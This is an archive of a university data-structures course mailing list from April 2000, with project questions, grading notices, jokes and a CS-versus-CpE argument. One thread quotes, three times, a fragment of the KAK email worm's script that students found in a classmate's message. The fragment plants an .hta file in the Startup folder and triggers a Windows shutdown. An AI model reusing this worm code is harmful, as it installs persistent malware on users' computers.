drive an engineer completely insane? A: Tie him to a chair, stand in front of him, and fold up a road map the wrong way. You might be an engineer if.... choosing to buy flowers for your girlfriend or upgrade your RAM is a moral dilemma. you take a cruise so you can go on a personal tour of the engine room. in college you thought Spring Break was metal fatigue failure. the sales people at the local computer store can't answer any of your questions. at an air show you know how fast the skydivers are falling. you bought your wife a new CD-ROM drive for her birthday. you can quote scenes from any Monty Python movie. you can type 70 words per minute but can't read your own handwriting. you comment to your wife/husband that their straight hair is nice and parallel. you sit backwards on the Disneyland rides to see how they do the special effects. you know what stands for. you look forward to Christmas so you can put the kids' toys together. you see a good design and still have to change it. you spent more on your calculator than you did on your wedding ring. you still own a slide rule and know how to use it. you think that people yawning around you are sleep deprived. you window shop at Radio Shack. your laptop computer costs more than your car. your wife/husband hasn't the foggiest idea of what you do at work. you've already calculated how much you make per second. You've tried to repair a $5 radio. NO, cpe majors, we are not laughing with you :) ========================================================================= Date: Thu, 6 Apr 2000 22:18:45 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: mliang Subject: Project 3 grades for section 1370 (Dr. Keller) MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_hlsre/4cZs/rx6YBKL5wbw)" This is a multi-part message in MIME format. --Boundary_(ID_hlsre/4cZs/rx6YBKL5wbw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Hello, The Project 3 grades for section 1370 (Dr. Keller) have been put up on = the web, and the grading sheets have been sent out. If you have any = questions, contact me. Thanks, Min Liang --Boundary_(ID_hlsre/4cZs/rx6YBKL5wbw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
Hello,

The Project 3 grades=20 for section 1370 (Dr. Keller) have been put up on the web, and the = grading=20 sheets have been sent out. If you have any questions, contact=20 me.

Thanks,
Min Liang
--Boundary_(ID_hlsre/4cZs/rx6YBKL5wbw)-- ========================================================================= Date: Fri, 7 Apr 2000 00:27:59 -0700 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jason Convry Subject: Koofers? MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_J/Rz5oWYuajh0/yKWPMF1w)" This is a multi-part message in MIME format. --Boundary_(ID_J/Rz5oWYuajh0/yKWPMF1w) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable I've noticed past tests posted on previous CS2604 sites. Are these at = all like what our midterm 2 is going to be? In other words, should I = bother studying them? Thanks a lot Jason=20 ----- Original Message -----=20 From: mliang=20 To: CS2604@LISTSERV.VT.EDU=20 Sent: Thursday, April 06, 2000 7:18 PM Subject: Project 3 grades for section 1370 (Dr. Keller) Hello, The Project 3 grades for section 1370 (Dr. Keller) have been put up on = the web, and the grading sheets have been sent out. If you have any = questions, contact me. Thanks, Min Liang --Boundary_(ID_J/Rz5oWYuajh0/yKWPMF1w) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
I've noticed past tests posted on = previous CS2604=20 sites. Are these at all like what our midterm 2 is going to be? In other = words,=20 should I bother studying them?
 
Thanks a lot
Jason
----- Original Message -----
From:=20 mliang =
To: CS2604@LISTSERV.VT.EDU
Sent: Thursday, April 06, 2000 = 7:18=20 PM
Subject: Project 3 grades for = section=20 1370 (Dr. Keller)

Hello,

The Project 3 grades=20 for section 1370 (Dr. Keller) have been put up on the web, and the = grading=20 sheets have been sent out. If you have any questions, contact=20 me.

Thanks,
Min = Liang
--Boundary_(ID_J/Rz5oWYuajh0/yKWPMF1w)-- ========================================================================= Date: Fri, 7 Apr 2000 10:26:14 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Koofers? In-Reply-To: <001f01bfa062$cdd83100$0e31ad80@jason> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 7 Apr 2000, Jason Convry wrote: > I've noticed past tests posted on previous CS2604 sites. Are these at > all like what our midterm 2 is going to be? In other words, should I > bother studying them? I have no authorized koofers. If you want to know what types of questions might appear on the test, consider that about half the questions in the book come from old tests that I have given. It is even possible that a question in the book will appear on this test. As for structure, Midterm 2 will be just like Midterm 1. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Fri, 7 Apr 2000 10:44:01 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Confusing Buffer Stuff In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 6 Apr 2000, Scott Walker wrote: > suppose your bufferpool (blocksize 20) currently has least recently used > buffer containing the message that belongs at position 10 in the file, > and that message is 10 bytes long. If the bufferpool receives > an insert on position 21, what happens? Does the bufferpool write > the data out in the LRU buffer and then place the new message in > that buffer? Does the bufferpool detect that since the blocks > (and therefor buffers are 20 bytes long) that it should begin the insert > at the end of the buffer data of the buffer described above and just > append the new message to the last 10 free bytes there? Or something > entirely different perhaps? I don't follow the question, but I'll give an answer that fits your scenario to the extent that it makes sense to me. Lets assume that blocks are 20 bytes long. If there exists a message starting at position 10 and going for 10 bytes, then that happens to fill the last 10 bytes of the 0th block in the file. If there is a request to fill 10 bytes starting at byte position 21, then you are into the block with Block ID 1, whose byte positions are 20-39. So in your example you would be skipping the first byte of the block with ID 1, and filling in 10 bytes. However, when you write messages from the memory manager, the buffer pool is irrelevent. So far as the memory manager is concerned, its just a big array. Of course, the memory manager doesn't write directly to that array -- it calls an interface with an array position, a length, and some space to copy the message from/to. But, if you are worrying about blocks, buffers, etc, when you think about the memory manager, then you are thinking wrong and you need to change. Otherwise, its just too complex. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Fri, 7 Apr 2000 13:55:22 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jason Chan Subject: Midterm 2 for Dr. Roach's MWF 9am class. MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_Solf1POJFjaqQSuZ4M5Kgw)" This is a multi-part message in MIME format. --Boundary_(ID_Solf1POJFjaqQSuZ4M5Kgw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable Hi, Does anyone know when the second midterm is, for Dr. Roach's MWF 9am = class? Thanks. --Boundary_(ID_Solf1POJFjaqQSuZ4M5Kgw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
 
Hi,
 
Does anyone know when the second midterm is, for Dr. = Roach's=20 MWF 9am class?  Thanks.
--Boundary_(ID_Solf1POJFjaqQSuZ4M5Kgw)-- ========================================================================= Date: Fri, 7 Apr 2000 15:11:17 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Richard Bowman Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Jason Chan wrote: > Hi, Does anyone know when the second midterm is, for Dr. Roach's MWF > 9am class? Thanks. There isnt one. Jesus... RTFM (syllabus) or the questions people have already asked on the listserv. ========================================================================= Date: Fri, 7 Apr 2000 16:21:10 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jason Giglio Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. In-Reply-To: <38EE32D4.2554E3AD@vt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Our syllabus from Dr. Roach was a printout of the webpage basically. Very generic. The question was however just answered on the listserv. However the reason I am writing the list is about the stuff at the bottom of the message from Jason Chan, is this some sort of virus? It looks like activation code in VBscript or something. Did anyone else see this? Or maybe it would be worse if some of you didn't see it and it got executed by some microsoft mail client. You may want to check your hard drive for the files mentioned in the code if you didn't see this when you read the message. >');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.r eg'>);d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft >says not today !');wsh.Run(wd+'RUNDLL32.EXE >user.exe,exitwindows');}self.close();S3 driver memory alloc failed >!]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator. lan>guage;scr.Path=(la=="fr")?"C:\\windows\\Menu >Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start >Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if( ((a>gt.indexOf("msie")!=->1)&&(parseInt(navigator.appVersion)>4))||(agt.inde xOf("msie 5.")!=->1))scr.write(); //--> At 03:11 PM 4/7/00 -0400, you wrote: >Jason Chan wrote: > >> Hi, Does anyone know when the second midterm is, for Dr. Roach's MWF >> 9am class? Thanks. > >There isnt one. Jesus... RTFM (syllabus) or the questions people have >already asked on the listserv. > ========================================================================= Date: Fri, 7 Apr 2000 16:39:19 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Chris Kelly Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. In-Reply-To: <3.0.6.32.20000407162110.0084fa70@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT yeah, saw that too. my norton AV caught it and deleted it luckily :) -Chris -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Jason Giglio Sent: Friday, April 07, 2000 4:21 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. Our syllabus from Dr. Roach was a printout of the webpage basically. Very generic. The question was however just answered on the listserv. However the reason I am writing the list is about the stuff at the bottom of the message from Jason Chan, is this some sort of virus? It looks like activation code in VBscript or something. Did anyone else see this? Or maybe it would be worse if some of you didn't see it and it got executed by some microsoft mail client. You may want to check your hard drive for the files mentioned in the code if you didn't see this when you read the message. >');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.r eg'>);d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft >says not today !');wsh.Run(wd+'RUNDLL32.EXE >user.exe,exitwindows');}self.close();S3 driver memory alloc failed >!]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator. lan>guage;scr.Path=(la=="fr")?"C:\\windows\\Menu >Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start >Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if( ((a>gt.indexOf("msie")!=->1)&&(parseInt(navigator.appVersion)>4))||(agt.inde xOf("msie 5.")!=->1))scr.write(); //--> At 03:11 PM 4/7/00 -0400, you wrote: >Jason Chan wrote: > >> Hi, Does anyone know when the second midterm is, for Dr. Roach's MWF >> 9am class? Thanks. > >There isnt one. Jesus... RTFM (syllabus) or the questions people have >already asked on the listserv. > ========================================================================= Date: Fri, 7 Apr 2000 16:56:31 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Chris Kelly Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. In-Reply-To: <3.0.6.32.20000407162110.0084fa70@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT here's some more info on the virus, for all curious. http://www.symantec.com/avcenter/venc/data/wscript.kakworm.html -Chris -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Jason Giglio Sent: Friday, April 07, 2000 4:21 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. Our syllabus from Dr. Roach was a printout of the webpage basically. Very generic. The question was however just answered on the listserv. However the reason I am writing the list is about the stuff at the bottom of the message from Jason Chan, is this some sort of virus? It looks like activation code in VBscript or something. Did anyone else see this? Or maybe it would be worse if some of you didn't see it and it got executed by some microsoft mail client. You may want to check your hard drive for the files mentioned in the code if you didn't see this when you read the message. >');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.r eg'>);d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft >says not today !');wsh.Run(wd+'RUNDLL32.EXE >user.exe,exitwindows');}self.close();S3 driver memory alloc failed >!]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator. lan>guage;scr.Path=(la=="fr")?"C:\\windows\\Menu >Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start >Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if( ((a>gt.indexOf("msie")!=->1)&&(parseInt(navigator.appVersion)>4))||(agt.inde xOf("msie 5.")!=->1))scr.write(); //--> At 03:11 PM 4/7/00 -0400, you wrote: >Jason Chan wrote: > >> Hi, Does anyone know when the second midterm is, for Dr. Roach's MWF >> 9am class? Thanks. > >There isnt one. Jesus... RTFM (syllabus) or the questions people have >already asked on the listserv. > ========================================================================= Date: Sat, 8 Apr 2000 02:49:07 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jason Chan Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Ugh, thanks for the info on the virus, as well as the exam information -- it's taken care of, now. Sorry about that. ========================================================================= Date: Sat, 8 Apr 2000 11:04:57 +0100 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: John Gordon Subject: Re: engineers MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit topic topic ----- Original Message ----- From: "r duffy" To: Sent: Friday, April 07, 2000 2:19 AM Subject: engineers > something to cheer up those of us who just got back some grades > > some of these apply more to programmers than engineers, so ignore those > > On the subject of engineers > > Q: When does a person decide to become an engineer? > A: When he realizes he doesn't have the charisma to be an undertaker. > > Q: What do engineers use for birth control? > A: Their personalities. > > Q: How can you tell an extroverted engineer? > A: When he talks, he looks at your shoes instead of his own. > > Q: Why did the engineers cross the road? > A: Because they looked in the file and that's what they did last year. > > Q: How do you drive an engineer completely insane? > A: Tie him to a chair, stand in front of him, and fold up a road map the > wrong way. > > You might be an engineer if.... > > choosing to buy flowers for your girlfriend or upgrade your RAM is a moral > dilemma. > > you take a cruise so you can go on a personal tour of the engine room. > > in college you thought Spring Break was metal fatigue failure. > > the sales people at the local computer store can't answer any of your > questions. > > at an air show you know how fast the skydivers are falling. > > you bought your wife a new CD-ROM drive for her birthday. > > you can quote scenes from any Monty Python movie. > > you can type 70 words per minute but can't read your own handwriting. > > you comment to your wife/husband that their straight hair is nice and > parallel. > > you sit backwards on the Disneyland rides to see how they do the special > effects. > > you know what stands for. > > you look forward to Christmas so you can put the kids' toys together. > > you see a good design and still have to change it. > > you spent more on your calculator than you did on your wedding ring. > > you still own a slide rule and know how to use it. > > you think that people yawning around you are sleep deprived. > > you window shop at Radio Shack. > > your laptop computer costs more than your car. > > your wife/husband hasn't the foggiest idea of what you do at work. > > you've already calculated how much you make per second. > > You've tried to repair a $5 radio. > > > NO, cpe majors, we are not laughing with you :) ========================================================================= Date: Sat, 8 Apr 2000 13:11:57 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Saam Tariverdi Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Wait, so is my computer infected with it, if I read your email? In outlook 5.0, it said "ActiveX control cannot be opened" or something like that. I don't have any anti-virus software installed, so is my computer infected? Saam Tariverdi ----- Original Message ----- From: "Jason Chan" To: Sent: Saturday, April 08, 2000 2:49 AM Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. > Ugh, thanks for the info on the virus, as well as the exam information -- > it's taken care of, now. Sorry about that. ========================================================================= Date: Sat, 8 Apr 2000 14:50:17 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jason Chan Subject: Re: Midterm 2 for Dr. Roach's MWF 9am class. MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit With Outlook patched, you should receive an error message stating that the ActiveX controls are unsafe, and that the message can't be displayed correctly. If you got the window, you should be fine. Again, I'm really sorry about that; didn't even realize I had it until it was pointed out on the listserv, but I'm clean now. You should probably check it out, anyway, though, just to make sure. ========================================================================= Date: Sun, 9 Apr 2000 00:31:14 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: 1371's Test Topics MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII What chapters/sections in general will the test cover, please? And what material (if any) will be covered by it which is not in the book? ========================================================================= Date: Sun, 9 Apr 2000 15:34:27 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: mark Subject: question about node messages MIME-version: 1.0 Content-type: text/plain; charset=us-ascii In the spec for Project 4 it says that "note that, as in Project 1, the memory manager will actually add to the message the length of the message as stored in the memory pool". I vaguely remember this from Project 1, however many of the details have changed since then. For example in this project we'll be storing the cityname as a seperate message and then giving the handle to this message to our node message which will be stored in the memory pool, right? Also, our mode message will include a prepended flag that indicates wether or not it is an internal or leaf node. My question though is this: if we know that an internal and leaf nodes byte length (stated in spec) then why would the memory manager have to also prepend the size of this message to be stored? Probably missing something..but any clarification would be a help. Thanx. Mark ========================================================================= Date: Sun, 9 Apr 2000 17:52:28 -0400 Reply-To: bbasilio@vt.edu Sender: CS2604 discussion list From: Breno Basilio Subject: Question on Sequential Tree MIME-version: 1.0 Content-type: text/plain; CHARSET=US-ASCII Content-transfer-encoding: 8bit On page 185 of the textbook, the example for storing general trees by means of a sequential implementation shows the following for the general tree in Figure 6.3: RAC)D)E))BF))) Shouldn't it be RAC)D)E)))BF))) since E is a leaf node and the last child of A? If I'm wrong about this, can someone help me understand why? Thanks. Breno Basilio --------------------------------------------------- Virginia Polytechnic Institute and State University Computer Engineering e-mail: bbasilio@vt.edu --------------------------------------------------- ========================================================================= Date: Sun, 9 Apr 2000 18:10:41 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Pratima Aiyagari Subject: section 1368 In-Reply-To: <00040917572907.10235@xrunner.linux.unix> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The grade-sheets for Homework 2 have now been mailed out for Section 1368, and the web-page has been updated to reflect the new grades. If there is any problem, please contact me. Thanks, Pratima ========================================================================= Date: Mon, 10 Apr 2000 01:49:49 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Patrick O'day Subject: Re: question about node messages MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit because when you call get() for a node you don't know weather it's an internal or leaf node, the length is there so that when the memory manager requests something it will return the right amount of data. mark wrote: > In the spec for Project 4 it says that "note that, as in Project 1, the > memory manager will actually add to the message the length of the message > as stored in the memory pool". I vaguely remember this from Project 1, > however many of the details have changed since then. > For example in this project we'll be storing the cityname as a seperate > message and then giving the handle to this message to our node message > which will be stored in the memory pool, right? Also, our mode message will > include a prepended flag that indicates wether or not it is an internal or > leaf node. My question though is this: if we know that an internal and leaf > nodes byte length (stated in spec) then why would the memory manager have > to also prepend the size of this message to be stored? > Probably missing something..but any clarification would be a help. > Thanx. > Mark ========================================================================= Date: Mon, 10 Apr 2000 10:05:06 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: 1371's Test Topics In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The Midterm will cover chapters 6, 8, and 9. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- On Sun, 9 Apr 2000, John Anthony Kazos Jr. wrote: > What chapters/sections in general will the test cover, please? And what material (if any) will be covered by it which is not in the book? > ========================================================================= Date: Mon, 10 Apr 2000 12:46:42 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Question on Sequential Tree In-Reply-To: <00040917572907.10235@xrunner.linux.unix> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 9 Apr 2000, Breno Basilio wrote: > On page 185 of the textbook, the example for storing general trees by means of > a sequential implementation shows the following for the general tree in Figure > 6.3: > > RAC)D)E))BF))) > > Shouldn't it be RAC)D)E)))BF))) since E is a leaf node and the last child > of A? No, the book is correct here. The difference between the book and what you show is that you have an extra ) after E. There should be 2. The first indicates that E is a leaf node (ending its child list). The second indicates that the A's child list is ended. If there were a third, that would indicate that R's child list has ended, which is incorrect. Contrast this with the three )'s after F. That indicates that F is a leaf (its child list has ended), B's child list has ended, and finally, R's child list has ended. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 10 Apr 2000 15:24:40 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: James Moniz Subject: Disk block & record size MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello, First... Say that file blocks are 10-bytes long and on the first insert, a record of 13 bytes is inserted, meaning the space for 2 file blocks is allocated for a total of 20 bytes, with 7 bytes wasted. (Disregard that the record is not written to disk yet. For this example, the records get written immediately to disk.) Then a record of 7 bytes is inserted. Will this record then be put into the later half of the second block created above? Or will a new block of 10 bytes be created and the record added to that, for a total of 3 blocks created? Second... Is there a certain way expected to store the first record above, which is longer than one block, in the buffer pool? Is there some way of reading the first part of a record from the first block in the buffer pool and then knowing to cross over to another (where ever it may be)? Thanks James Moniz vt.edu ========================================================================= Date: Mon, 10 Apr 2000 23:03:32 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Matt Subject: Inheritance Problem MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I'm having a little problem with inheritance and type casting and don't know exactly what to do about it. I'm playing with the portion of the program in which you must implement the nodes of the PR quadtree as different classes, all inheriting from a base class. What I want to do is have my tree point to a base class node, and then simply assign the inherited children to the node. I remember doing something very similar to this in OOP, using type casting, but I can't get to work now. My OOP book says that this type of cast is dangerous, but I know that there is a workaround, I just don't remember what it is. Can anyone help? --------------------------------------------------------------- Matt Blair www.cslab.vt.edu/~mablair2/ ========================================================================= Date: Mon, 10 Apr 2000 23:27:00 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Tanner Bonig Subject: Re: Inheritance Problem In-Reply-To: <000b01bfa362$890398a0$1354143f@126.0.0.1> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit IF your tree accepts node of say, oh, type TreeNodeBase*, and you have two derived classes from TreeNodeBase, one called TreeNodeLeaf, and TreeNodeInternal... ok, well for one, you should have a function in the base class (maybe the only thing in the base class) saying something like bool isLeaf(void) so that you can test what kind of node you have. ok, so you got that all setup now, when you create an internal node, and you want to stick it in the tree, the tree only like's nodes of type TreeNodeBase*, but you probably have a TreeNodeInternal*, ok, so just type cast it: (TreeNodeBase*) SomeInternalNode. Now, when you get a node from the tree, how do you know the type? so that you can access the specific functions... that's right, the isLeaf function.. (assuming you implemented a function in the derived TreeNodeInteral class that returns false when the function bool isLeaf(void) is called) so you got this node of type NodeTreeBase* and you know it's a internal node because you did a if (SomeNode->isLeaf()) well then you cast it to an internal node like this ((TreeNodeInternal*) SomeNode)->InternalFunction(); any more questions oh, and a disclaimer... I'm just a student in the same class, I may be full of it, so if I am (someone, anyone... PETER!??!) tell me.. Tanner oh, and P.S., that homework thing was just a joke... -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Matt Sent: Monday, April 10, 2000 11:04 PM To: CS2604@LISTSERV.VT.EDU Subject: Inheritance Problem I'm having a little problem with inheritance and type casting and don't know exactly what to do about it. I'm playing with the portion of the program in which you must implement the nodes of the PR quadtree as different classes, all inheriting from a base class. What I want to do is have my tree point to a base class node, and then simply assign the inherited children to the node. I remember doing something very similar to this in OOP, using type casting, but I can't get to work now. My OOP book says that this type of cast is dangerous, but I know that there is a workaround, I just don't remember what it is. Can anyone help? --------------------------------------------------------------- Matt Blair www.cslab.vt.edu/~mablair2/ ========================================================================= Date: Sat, 10 Apr 0100 01:15:49 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Re: Project 4 spec In-Reply-To: <3.0.5.32.20000401130057.00913690@mail.vt.edu> from "Michael S. Moulton" at Apr 1, 0 01:00:57 pm Content-Type: text (Wow, this is an interesting and brutually honest thread that I'll join in on very late. :) ) > At 12:39 PM 4/1/00 -0500, you wrote: > >You said it all right there! We were not "required" to use inheritance, > >but we should have written it in such a way that we could reuse it in a > >later project. Reusability should be a general programming practice. If you > >always write your code with the intention of being able to use it again > >later > >you save yourself a lot of rewrite time in the future. Granted maybe you're > >a CPE major and "all this programming crap" is just something you HAVE to > >take and you don't really give a damn about reusabilty. As a CS major I > >could say the same about the CPE class I have to take, but the point is > >that no matter how much we dislike or how much we piss and moan about having > >to learn things we may never use again we still HAVE to take them. Hmm, the rift between CS and CpE shows itself again. :-) First, the software sequence in the CpE degree is critically important. (in that if they aren't completely in a timely succession, a CpE's graduation will probably be delayed). Secondly, any CpE that has any concept of how industry works, will know that software is critically important to the field (and becoming more so). Hardware is becoming more "off the shelf" and more systems are becoming more software driven (rather than hardware driven). So if a CpE says "all this programming crap" they're being foolish while showing their lack of understanding of the field and how things are done. Please don't let the few inexperienced CpE's taint your opinion of CpE's. Some of us are fascinated by OOA, OOD, and group software engineering among other software issues. As far as I'm concerned, I don't particularly enjoy the study of data structures (I think sorting algorithms are a cure for insomnia). And the detailed programming can be a little tiresome. However, the design aspects of the course are wonderfully fullfilling (for example, the design of P4 and the planning of how previously written code needs to be modified). So I believe there's stuff in the software field for every CpE's interests. As an aside, industry considers CpE graduates to be superior programmers as compared to CS graduates. The rigor of CpE is considered to surpass that of CS, thereby producing graduates that understand how to truely apply rigorous engineer problem-solving/design to software. Just think about that a little bit, please... (I know any CS will say this is heresy... :) ) > Ok... maybe we _should_ have written it with inheritance. But inheritance > != reusability. There is absolutely NO reason why the P2 code has to use > inheritance in order for us to be able to reuse it. I wrote my code with > the intention of reusing it in P4-- b/c that's what we were told to plan on > doing. I chose not to use inheritance, but does that mean my code isn't > reusable? NO! I agree (w/ my fellow CpE) that IN THIS CASE inheritance does NOT help code maintainability (ie, re-usability). As a matter of fact, like I've said before, using inheritance requires the PRTree class to use pointers. And like I've said a billion times before, I like to avoid pointers if it's reasonable to do so (as I believe decreasing the number of pointers increases your code's maintainability). So w/ my design, the PRTree class "has a" PRNode. No pointers to a PRNode! -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi // The VT Heavy "Metal Club" page: http://www.bigfoot.com/~vtmetal "He took ... it out." --Elaine (on _Seinfeld_) ------------------------------------------------------------------------- ========================================================================= Date: Sat, 10 Apr 0100 01:21:43 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Re: Confusing Buffer Stuff In-Reply-To: from "Cliff Shaffer" at Apr 7, 0 10:44:01 am Content-Type: text > Lets assume that blocks are 20 bytes long. If there exists a message > starting at position 10 and going for 10 bytes, then that happens to fill > the last 10 bytes of the 0th block in the file. If there is a request to > fill 10 bytes starting at byte position 21, then you are into the block > with Block ID 1, whose byte positions are 20-39. So in your example you > would be skipping the first byte of the block with ID 1, and filling in 10 > bytes. > > However, when you write messages from the memory manager, the buffer pool > is irrelevent. So far as the memory manager is concerned, its just a big > array. Of course, the memory manager doesn't write directly to that array > -- it calls an interface with an array position, a length, and some space > to copy the message from/to. But, if you are worrying about blocks, > buffers, etc, when you think about the memory manager, then you are > thinking wrong and you need to change. Otherwise, its just too complex. Will a Block ID ever get filled w/ more than 1 insert (of "x y name")? Please say no! :-) -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi // The VT Heavy "Metal Club" page: http://www.bigfoot.com/~vtmetal "He took ... it out." --Elaine (on _Seinfeld_) ------------------------------------------------------------------------- ========================================================================= Date: Tue, 11 Apr 2000 01:32:12 -0400 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Re: Project 4 spec In-Reply-To: <200004100515.BAA00859@brwagne2.campus.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit This listserv is not to argue about majors and the points of view for CS and CPE. Ask questions when you have them and answer them if you can. Otherwise take your personal attacks and defenses elsewhere. Thank You -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Brian Wagner Sent: Monday, April 10, 2000 1:16 AM To: CS2604@LISTSERV.VT.EDU Subject: Re: Project 4 spec (Wow, this is an interesting and brutually honest thread that I'll join in on very late. :) ) > At 12:39 PM 4/1/00 -0500, you wrote: > >You said it all right there! We were not "required" to use inheritance, > >but we should have written it in such a way that we could reuse it in a > >later project. Reusability should be a general programming practice. If you > >always write your code with the intention of being able to use it again > >later > >you save yourself a lot of rewrite time in the future. Granted maybe you're > >a CPE major and "all this programming crap" is just something you HAVE to > >take and you don't really give a damn about reusabilty. As a CS major I > >could say the same about the CPE class I have to 